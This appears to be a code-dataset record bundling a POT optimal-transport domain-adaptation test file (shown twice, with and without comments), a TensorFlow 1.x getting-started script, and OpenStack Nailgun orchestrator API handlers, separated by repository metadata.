assert n_unsup != n_semisup, "semisupervised mode not working" # check that the coupling forbids mass transport between labeled source # and labeled target samples mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) assert mass_semi == 0, "semisupervised mode not working" # check everything runs well with log=True otda = ot.da.SinkhornTransport(log=True) otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert len(otda.log_.keys()) != 0 def test_emd_transport_class(): """test_sinkhorn_transport """ ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.EMDTransport() # test its computed otda.fit(Xs=Xs, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") # test dimensions of coupling assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # test inverse transform transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) # check that the oos method is working assert_equal(transp_Xt_new.shape, Xt_new.shape) # test fit_transform transp_Xs = otda.fit_transform(Xs=Xs, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) # test unsupervised vs semi-supervised mode otda_unsup = ot.da.EMDTransport() otda_unsup.fit(Xs=Xs, ys=ys, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.EMDTransport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) # check that the cost matrix norms are indeed different assert n_unsup != n_semisup, "semisupervised mode not working" # check that the coupling forbids mass transport between labeled source # and labeled target samples mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) mass_semi = otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max] # we need to use a small tolerance here, otherwise the test breaks assert_allclose(mass_semi, np.zeros_like(mass_semi), rtol=1e-2, atol=1e-2) def test_mapping_transport_class(): """test_mapping_transport """ ns = 60 nt = 120 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) Xs_new, _ = make_data_classif('3gauss', ns + 1) ########################################################################## # kernel == linear mapping tests ########################################################################## # check computation and dimensions if bias == False otda = ot.da.MappingTransport(kernel="linear", bias=False) otda.fit(Xs=Xs, Xt=Xt) assert hasattr(otda, "coupling_") assert hasattr(otda, "mapping_") assert hasattr(otda, "log_") assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.mapping_.shape, ((Xs.shape[1], Xt.shape[1]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # check computation and dimensions if bias == True otda = ot.da.MappingTransport(kernel="linear", bias=True) otda.fit(Xs=Xs, Xt=Xt) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.mapping_.shape, ((Xs.shape[1] + 1, Xt.shape[1]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) ########################################################################## # kernel == gaussian mapping tests ########################################################################## # check computation and dimensions if bias == False otda = ot.da.MappingTransport(kernel="gaussian", bias=False) otda.fit(Xs=Xs, Xt=Xt) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.mapping_.shape, ((Xs.shape[0], Xt.shape[1]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # check computation and dimensions if bias == True otda = ot.da.MappingTransport(kernel="gaussian", bias=True) otda.fit(Xs=Xs, Xt=Xt) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.mapping_.shape, ((Xs.shape[0] + 1, Xt.shape[1]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # check everything runs well with log=True otda = ot.da.MappingTransport(kernel="gaussian", log=True) otda.fit(Xs=Xs, Xt=Xt) assert len(otda.log_.keys()) != 0 def test_linear_mapping(): ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) A, b = ot.da.OT_mapping_linear(Xs, Xt) Xst = Xs.dot(A) + b Ct = np.cov(Xt.T) Cst = np.cov(Xst.T) np.testing.assert_allclose(Ct, Cst, rtol=1e-2, atol=1e-2) def test_linear_mapping_class(): ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otmap = ot.da.LinearTransport() otmap.fit(Xs=Xs, Xt=Xt) assert hasattr(otmap, "A_") assert hasattr(otmap, "B_") assert hasattr(otmap, "A1_") assert hasattr(otmap, "B1_") Xst = otmap.transform(Xs=Xs) Ct = np.cov(Xt.T) Cst = np.cov(Xst.T) np.testing.assert_allclose(Ct, Cst, rtol=1e-2, atol=1e-2)
30.784394
78
0.660285
import numpy as np from numpy.testing.utils import assert_allclose, assert_equal import ot from ot.datasets import make_data_classif from ot.utils import unif def test_sinkhorn_lpl1_transport_class(): ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.SinkhornLpl1Transport() otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) assert_equal(transp_Xs_new.shape, Xs_new.shape) transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) assert_equal(transp_Xt_new.shape, Xt_new.shape) transp_Xs = otda.fit_transform(Xs=Xs, ys=ys, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) otda_unsup = ot.da.SinkhornLpl1Transport() otda_unsup.fit(Xs=Xs, ys=ys, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.SinkhornLpl1Transport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) assert n_unsup != n_semisup, "semisupervised mode not working" mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) assert mass_semi == 0, "semisupervised mode not working" def test_sinkhorn_l1l2_transport_class(): ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.SinkhornL1l2Transport() otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") assert hasattr(otda, "log_") assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) assert_equal(transp_Xs_new.shape, Xs_new.shape) transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) assert_equal(transp_Xt_new.shape, Xt_new.shape) transp_Xs = otda.fit_transform(Xs=Xs, ys=ys, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) otda_unsup = ot.da.SinkhornL1l2Transport() otda_unsup.fit(Xs=Xs, ys=ys, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.SinkhornL1l2Transport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) assert n_unsup != n_semisup, "semisupervised mode not working" mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) mass_semi = otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max] assert_allclose(mass_semi, np.zeros_like(mass_semi), rtol=1e-9, atol=1e-9) otda = ot.da.SinkhornL1l2Transport(log=True) otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert len(otda.log_.keys()) != 0 def test_sinkhorn_transport_class(): ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.SinkhornTransport() otda.fit(Xs=Xs, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") assert hasattr(otda, "log_") assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) assert_equal(transp_Xs_new.shape, Xs_new.shape) transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) assert_equal(transp_Xt_new.shape, Xt_new.shape) transp_Xs = otda.fit_transform(Xs=Xs, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) otda_unsup = ot.da.SinkhornTransport() otda_unsup.fit(Xs=Xs, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.SinkhornTransport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) assert n_unsup != n_semisup, "semisupervised mode not working" mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) assert mass_semi == 0, "semisupervised mode not working" otda = ot.da.SinkhornTransport(log=True) otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert len(otda.log_.keys()) != 0 def test_emd_transport_class(): ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.EMDTransport() otda.fit(Xs=Xs, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) assert_equal(transp_Xs_new.shape, Xs_new.shape) transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) assert_equal(transp_Xt_new.shape, Xt_new.shape) transp_Xs = otda.fit_transform(Xs=Xs, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) otda_unsup = ot.da.EMDTransport() otda_unsup.fit(Xs=Xs, ys=ys, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.EMDTransport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) assert n_unsup != n_semisup, "semisupervised mode not working" mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) mass_semi = otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max] assert_allclose(mass_semi, np.zeros_like(mass_semi), rtol=1e-2, atol=1e-2) def test_mapping_transport_class(): ns = 60 nt = 120 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) Xs_new, _ = make_data_classif('3gauss', ns + 1)
true
true
f7f3aa14dec3d1446bea62f513cadea2f4d547ce
2,624
py
Python
tf1.6/tensorflow_tutorial.py
sgeos/tensorflow_playground
c4c10b74b1eebb63f0bf8de7a9a976c11f025618
[ "CC0-1.0" ]
null
null
null
tf1.6/tensorflow_tutorial.py
sgeos/tensorflow_playground
c4c10b74b1eebb63f0bf8de7a9a976c11f025618
[ "CC0-1.0" ]
null
null
null
tf1.6/tensorflow_tutorial.py
sgeos/tensorflow_playground
c4c10b74b1eebb63f0bf8de7a9a976c11f025618
[ "CC0-1.0" ]
null
null
null
#!/usr/bin/env python # Reference # https://www.tensorflow.org/get_started/get_started def repl( expression, globals=None, locals=None ): for expression in expression.splitlines(): expression = expression.strip() if expression: print(f">>> {expression}") eval(compile(expression + "\n", "<string>", "single"), globals, locals) else: print("") code = """ import tensorflow as tf node1 = tf.constant(3.0, name='node1', dtype=tf.float32) node2 = tf.constant(4.0, name='node2') print(node1, node2) sess = tf.Session() print(sess.run([node1, node2])) node3 = tf.add(node1, node2, name='node3') print(f"node3: {node3}") print(f"sess.run(node3): {sess.run(node3)}") a = tf.placeholder(tf.float32, name='a_node') b = tf.placeholder(tf.float32, name='b_node') adder_node = tf.add(a, b, name='adder_node') print(sess.run(adder_node, {a: 3, b: 4.5})) print(sess.run(adder_node, {a: [1, 3], b: [2, 4]})) add_and_triple = tf.multiply(adder_node, 3, name='add_and_triple') print(sess.run(add_and_triple, {a: 3, b: 4.5})) W = tf.Variable([.3], dtype=tf.float32, name='W') b = tf.Variable([-.3], dtype=tf.float32, name='b') x = tf.placeholder(tf.float32, shape=(4,), name='x') linear_model = tf.add(W * x, b, name='linear_model') init = tf.global_variables_initializer() sess.run(init) print(sess.run(linear_model, {x: [1,2,3,4]})) y = tf.placeholder(tf.float32, shape=(4,), name='y') squared_deltas = tf.square(linear_model - y, name='squared_deltas') loss = tf.reduce_sum(squared_deltas, name='loss') print(sess.run(loss, {x: [1,2,3,4], y: [0,-1,-2,-3]})) fixW = tf.assign(W, [-1.]) fixb = tf.assign(b, [1.]) sess.run([fixW, fixb]) print(sess.run(loss, {x: [1,2,3,4], y: [0,-1,-2,-3]})) optimizer = tf.train.GradientDescentOptimizer(0.01, name='optimizer') train = optimizer.minimize(loss, name='train') sess.run(init) summary_writer = tf.summary.FileWriter('log_tutorial', sess.graph) for value in [W, b, x, y]: tf.summary.scalar(value.op.name, tf.unstack(value)[0]) summaries = tf.summary.merge_all() parameters = {x: [1,2,3,4], y: [0,-1,-2,-3]} for i in range(1000): summary_writer.add_summary(sess.run(summaries, parameters), i); sess.run(train, parameters) summary_writer.close() for line in ['Now, at the command line, we can start up TensorBoard.', '$ tensorboard --logdir=log_tutorial']: print(line) for line in ['TensorBoard runs as a local web app, on port 6006.', '$ open http://localhost:6006/#graphs', '$ open http://localhost:6006/#events']: print(line) """ repl(code.strip(), globals(), locals())
40.369231
161
0.654726
def repl( expression, globals=None, locals=None ): for expression in expression.splitlines(): expression = expression.strip() if expression: print(f">>> {expression}") eval(compile(expression + "\n", "<string>", "single"), globals, locals) else: print("") code = """ import tensorflow as tf node1 = tf.constant(3.0, name='node1', dtype=tf.float32) node2 = tf.constant(4.0, name='node2') print(node1, node2) sess = tf.Session() print(sess.run([node1, node2])) node3 = tf.add(node1, node2, name='node3') print(f"node3: {node3}") print(f"sess.run(node3): {sess.run(node3)}") a = tf.placeholder(tf.float32, name='a_node') b = tf.placeholder(tf.float32, name='b_node') adder_node = tf.add(a, b, name='adder_node') print(sess.run(adder_node, {a: 3, b: 4.5})) print(sess.run(adder_node, {a: [1, 3], b: [2, 4]})) add_and_triple = tf.multiply(adder_node, 3, name='add_and_triple') print(sess.run(add_and_triple, {a: 3, b: 4.5})) W = tf.Variable([.3], dtype=tf.float32, name='W') b = tf.Variable([-.3], dtype=tf.float32, name='b') x = tf.placeholder(tf.float32, shape=(4,), name='x') linear_model = tf.add(W * x, b, name='linear_model') init = tf.global_variables_initializer() sess.run(init) print(sess.run(linear_model, {x: [1,2,3,4]})) y = tf.placeholder(tf.float32, shape=(4,), name='y') squared_deltas = tf.square(linear_model - y, name='squared_deltas') loss = tf.reduce_sum(squared_deltas, name='loss') print(sess.run(loss, {x: [1,2,3,4], y: [0,-1,-2,-3]})) fixW = tf.assign(W, [-1.]) fixb = tf.assign(b, [1.]) sess.run([fixW, fixb]) print(sess.run(loss, {x: [1,2,3,4], y: [0,-1,-2,-3]})) optimizer = tf.train.GradientDescentOptimizer(0.01, name='optimizer') train = optimizer.minimize(loss, name='train') sess.run(init) summary_writer = tf.summary.FileWriter('log_tutorial', sess.graph) for value in [W, b, x, y]: tf.summary.scalar(value.op.name, tf.unstack(value)[0]) summaries = tf.summary.merge_all() parameters = {x: [1,2,3,4], y: [0,-1,-2,-3]} for i in range(1000): summary_writer.add_summary(sess.run(summaries, parameters), i); sess.run(train, parameters) summary_writer.close() for line in ['Now, at the command line, we can start up TensorBoard.', '$ tensorboard --logdir=log_tutorial']: print(line) for line in ['TensorBoard runs as a local web app, on port 6006.', '$ open http://localhost:6006/#graphs', '$ open http://localhost:6006/#events']: print(line) """ repl(code.strip(), globals(), locals())
true
true
f7f3aaa833ce341c93a367bdeff9d661ac393da2
12,451
py
Python
nailgun/nailgun/api/v1/handlers/orchestrator.py
dnikishov/fuel-web
152c2072cf585fc61d7e157ccf9a7ea1d0377daa
[ "Apache-2.0" ]
null
null
null
nailgun/nailgun/api/v1/handlers/orchestrator.py
dnikishov/fuel-web
152c2072cf585fc61d7e157ccf9a7ea1d0377daa
[ "Apache-2.0" ]
null
null
null
nailgun/nailgun/api/v1/handlers/orchestrator.py
dnikishov/fuel-web
152c2072cf585fc61d7e157ccf9a7ea1d0377daa
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2013 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import traceback import six import web from nailgun.api.v1.handlers.base import BaseHandler from nailgun.api.v1.handlers.base import content from nailgun.api.v1.validators.cluster import ProvisionSelectedNodesValidator from nailgun.api.v1.validators.graph import GraphVisualizationValidator from nailgun.api.v1.validators.node import DeploySelectedNodesValidator from nailgun.api.v1.validators.node import NodeDeploymentValidator from nailgun.api.v1.validators.node import NodesFilterValidator from nailgun.logger import logger from nailgun import objects from nailgun.orchestrator import deployment_graph from nailgun.orchestrator import deployment_serializers from nailgun.orchestrator import graph_visualization from nailgun.orchestrator import provisioning_serializers from nailgun.orchestrator.stages import post_deployment_serialize from nailgun.orchestrator.stages import pre_deployment_serialize from nailgun.task.helpers import TaskHelper from nailgun.task import manager class NodesFilterMixin(object): validator = NodesFilterValidator def get_default_nodes(self, cluster): """Method should be overriden and return list of nodes""" raise NotImplementedError('Please Implement this method') def get_nodes(self, cluster): """If nodes selected in filter then return them else return default nodes """ nodes = web.input(nodes=None).nodes if nodes: node_ids = self.checked_data(data=nodes) return self.get_objects_list_or_404( objects.NodeCollection, node_ids ) return self.get_default_nodes(cluster) or [] class DefaultOrchestratorInfo(NodesFilterMixin, BaseHandler): """Base class for default orchestrator data Need to redefine serializer variable """ @content def GET(self, cluster_id): """:returns: JSONized default data which will be passed to orchestrator :http: * 200 (OK) * 404 (cluster not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) nodes = self.get_nodes(cluster) return self._serialize(cluster, nodes) def _serialize(self, cluster, nodes): raise NotImplementedError('Override the method') class OrchestratorInfo(BaseHandler): """Base class for replaced data.""" def get_orchestrator_info(self, cluster): """Method should return data which will be passed to orchestrator""" raise NotImplementedError('Please Implement this method') def update_orchestrator_info(self, cluster, data): """Method should override data which will be passed to orchestrator""" raise NotImplementedError('Please Implement this method') @content def GET(self, cluster_id): """:returns: JSONized data which will be passed to orchestrator :http: * 200 (OK) * 404 (cluster not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) return self.get_orchestrator_info(cluster) @content def PUT(self, cluster_id): """:returns: JSONized data which will be passed to orchestrator :http: * 200 (OK) * 400 (wrong data specified) * 404 (cluster not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) data = self.checked_data() self.update_orchestrator_info(cluster, data) logger.debug('OrchestratorInfo:' ' facts for cluster_id {0} were uploaded' .format(cluster_id)) return data @content def DELETE(self, cluster_id): """:returns: {} :http: * 202 (orchestrator data deletion process launched) * 400 (failed to execute orchestrator data deletion process) * 404 (cluster not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) self.update_orchestrator_info(cluster, {}) raise self.http(202, '{}') class DefaultProvisioningInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): return provisioning_serializers.serialize( cluster, nodes, ignore_customized=True) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_provision(cluster) class DefaultDeploymentInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): graph = deployment_graph.AstuteGraph(cluster) return deployment_serializers.serialize( graph, cluster, nodes, ignore_customized=True) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) class DefaultPrePluginsHooksInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): graph = deployment_graph.AstuteGraph(cluster) return pre_deployment_serialize(graph, cluster, nodes) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) class DefaultPostPluginsHooksInfo(DefaultOrchestratorInfo): def _serialize(self, cluster, nodes): graph = deployment_graph.AstuteGraph(cluster) return post_deployment_serialize(graph, cluster, nodes) def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) class ProvisioningInfo(OrchestratorInfo): def get_orchestrator_info(self, cluster): return objects.Cluster.get_provisioning_info(cluster) def update_orchestrator_info(self, cluster, data): return objects.Cluster.replace_provisioning_info(cluster, data) class DeploymentInfo(OrchestratorInfo): def get_orchestrator_info(self, cluster): return objects.Cluster.get_deployment_info(cluster) def update_orchestrator_info(self, cluster, data): return objects.Cluster.replace_deployment_info(cluster, data) class SelectedNodesBase(NodesFilterMixin, BaseHandler): """Base class for running task manager on selected nodes.""" def handle_task(self, cluster, **kwargs): nodes = self.get_nodes(cluster) try: task_manager = self.task_manager(cluster_id=cluster.id) task = task_manager.execute(nodes, **kwargs) except Exception as exc: logger.warn( u'Cannot execute %s task nodes: %s', task_manager.__class__.__name__, traceback.format_exc()) raise self.http(400, message=six.text_type(exc)) self.raise_task(task) @content def PUT(self, cluster_id): """:returns: JSONized Task object. :http: * 200 (task successfully executed) * 202 (task scheduled for execution) * 400 (data validation failed) * 404 (cluster or nodes not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) return self.handle_task(cluster) class ProvisionSelectedNodes(SelectedNodesBase): """Handler for provisioning selected nodes.""" validator = ProvisionSelectedNodesValidator task_manager = manager.ProvisioningTaskManager def get_default_nodes(self, cluster): return TaskHelper.nodes_to_provision(cluster) @content def PUT(self, cluster_id): """:returns: JSONized Task object. :http: * 200 (task successfully executed) * 202 (task scheduled for execution) * 400 (data validation failed) * 404 (cluster or nodes not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) # actually, there is no data in http body. the only reason why # we use it here is to follow dry rule and do not convert exceptions # into http status codes again. self.checked_data(self.validator.validate_provision, cluster=cluster) return self.handle_task(cluster) class BaseDeploySelectedNodes(SelectedNodesBase): validator = DeploySelectedNodesValidator task_manager = manager.DeploymentTaskManager def get_default_nodes(self, cluster): return TaskHelper.nodes_to_deploy(cluster) def get_nodes(self, cluster): nodes_to_deploy = super( BaseDeploySelectedNodes, self).get_nodes(cluster) self.validate(cluster, nodes_to_deploy) return nodes_to_deploy def validate(self, cluster, nodes_to_deploy): self.checked_data(self.validator.validate_nodes_to_deploy, nodes=nodes_to_deploy, cluster_id=cluster.id) self.checked_data(self.validator.validate_release, cluster=cluster) class DeploySelectedNodes(BaseDeploySelectedNodes): """Handler for deployment selected nodes.""" def get_nodes(self, cluster): nodes_to_deploy = super( DeploySelectedNodes, self).get_nodes(cluster) self.validate(cluster, nodes_to_deploy) return nodes_to_deploy @content def PUT(self, cluster_id): """:returns: JSONized Task object. :http: * 200 (task successfully executed) * 202 (task scheduled for execution) * 400 (data validation failed) * 404 (cluster or nodes not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) return self.handle_task(cluster) class DeploySelectedNodesWithTasks(BaseDeploySelectedNodes): validator = NodeDeploymentValidator @content def PUT(self, cluster_id): """:returns: JSONized Task object. :http: * 200 (task successfully executed) * 202 (task scheduled for execution) * 400 (data validation failed) * 404 (cluster or nodes not found in db) """ cluster = self.get_object_or_404(objects.Cluster, cluster_id) data = self.checked_data( self.validator.validate_deployment, cluster=cluster) return self.handle_task(cluster, deployment_tasks=data) class TaskDeployGraph(BaseHandler): validator = GraphVisualizationValidator def GET(self, cluster_id): """:returns: DOT representation of deployment graph. :http: * 200 (graph returned) * 404 (cluster not found in db) * 400 (failed to get graph) """ web.header('Content-Type', 'text/vnd.graphviz', unique=True) cluster = self.get_object_or_404(objects.Cluster, cluster_id) tasks = objects.Cluster.get_deployment_tasks(cluster) graph = deployment_graph.DeploymentGraph(tasks) tasks = web.input(tasks=None).tasks parents_for = web.input(parents_for=None).parents_for remove = web.input(remove=None).remove if tasks: tasks = self.checked_data( self.validator.validate, data=tasks, cluster=cluster) logger.debug('Tasks used in dot graph %s', tasks) if parents_for: parents_for = self.checked_data( self.validator.validate_task_presence, data=parents_for, graph=graph) logger.debug('Graph with predecessors for %s', parents_for) if remove: remove = list(set(remove.split(','))) remove = self.checked_data( self.validator.validate_tasks_types, data=remove) logger.debug('Types to remove %s', remove) visualization = graph_visualization.GraphVisualization(graph) dotgraph = visualization.get_dotgraph(tasks=tasks, parents_for=parents_for, remove=remove) return dotgraph.to_string()
33.742547
79
0.672797
